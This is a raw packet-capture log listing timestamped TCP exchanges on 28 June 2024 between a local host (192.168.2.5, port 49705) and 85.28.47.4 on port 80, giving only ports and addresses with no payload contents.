Jun 28, 2024 13:36:06.781632900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781655073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781670094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781681061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781692028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781702042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781713009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781797886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781816959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781824112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.781827927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781824112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.781836987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781847954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781888962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.781888962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.781919003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.781930923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781940937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781950951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781959057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781969070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.781975985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.781995058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782048941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782109022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782118082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782128096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782138109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782147884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782157898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782165051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782167912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782179117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782186031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782188892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782200098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782211065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782231092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782259941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782390118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782401085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782409906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782423019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782433033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782438040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782442093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782453060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782459021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782463074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782473087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782484055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782494068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782499075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782504082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782537937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782562971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782574892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782583952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782593012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782615900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782624960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782627106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782638073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782643080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782649040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782659054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782670975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782706022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782839060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782850027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782860041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782871008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782881975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782891035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782891989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782902002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.782912970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.782941103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.783283949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783294916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783304930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783314943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783325911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783335924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783335924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.783354998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.783360004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783373117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783375978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.783384085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783395052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783397913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.783404112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783415079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783423901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783433914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783440113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.783443928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.783476114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.783524990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.785775900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785784006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785789967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785844088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.785861015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785871029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785881042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785897970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785902023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.785921097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.785922050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785933018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.785955906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.785984039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.785993099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786014080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786024094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786034107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786040068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.786068916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.786096096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.786111116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786122084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786130905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786139965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786149979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786161900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.786191940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.786222935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786235094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786243916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.786279917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.786309958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787085056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787095070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787103891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787112951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787130117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787146091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787147999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787158012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787178040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787183046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787188053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787198067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787204981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787209034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787219048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787231922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787240982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787246943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787251949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787261963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787265062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787292957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787316084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787362099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787383080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787394047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787403107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787410975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787412882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787424088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.787434101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.787487030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.792463064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792530060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.792536974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792546988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792557001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792579889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.792603016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.792610884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792629004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792639971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792649984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.792656898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.792690039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.792960882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.793028116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872406960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872421026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872432947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872442961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872452974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872463942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872525930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872525930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872545004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872555971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872607946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872632980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872731924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872742891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872751951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872775078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872803926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872870922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872886896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872899055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872909069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872917891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872927904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872929096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.872966051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.872996092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873044968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873056889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873066902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873076916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873086929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873091936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873117924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873151064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873230934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873241901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873251915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873261929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873271942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873286963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873320103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873399019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873410940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873420954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873457909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873492002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873545885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873558044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873568058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873578072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873588085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873591900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873600006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873610973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873636961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873666048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873681068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873740911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873878956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873889923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873900890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873913050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873923063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873933077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.873941898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.873972893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874202967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874213934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874222994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874233007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874243975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874253988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874257088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874264002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874294996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874325991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874372005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874382019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874392033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874402046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874412060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874413967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874443054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874469995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874556065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874567032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874577999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874588013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874598980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874603987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874608994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874619961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.874628067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.874655962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876487970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876533985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876545906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876547098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876576900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876622915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876633883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876645088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876655102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876669884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876672029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876717091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876744986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876749992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876754999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876765966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876782894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876792908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876792908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876828909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876857042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876923084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876933098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876944065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876957893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876966953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876970053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876980066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.876990080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.876991034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877007961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877019882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877041101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.877067089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.877221107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877232075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877243042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877254009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877264023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877268076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.877274036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.877288103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.877330065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.878176928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878187895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878206015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878221989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878230095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.878232002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878251076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878252029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.878262997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878273010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.878294945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.878318071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.882581949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882632017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.882639885 CEST	49705	80	192.168.2.5	85.28.47.4
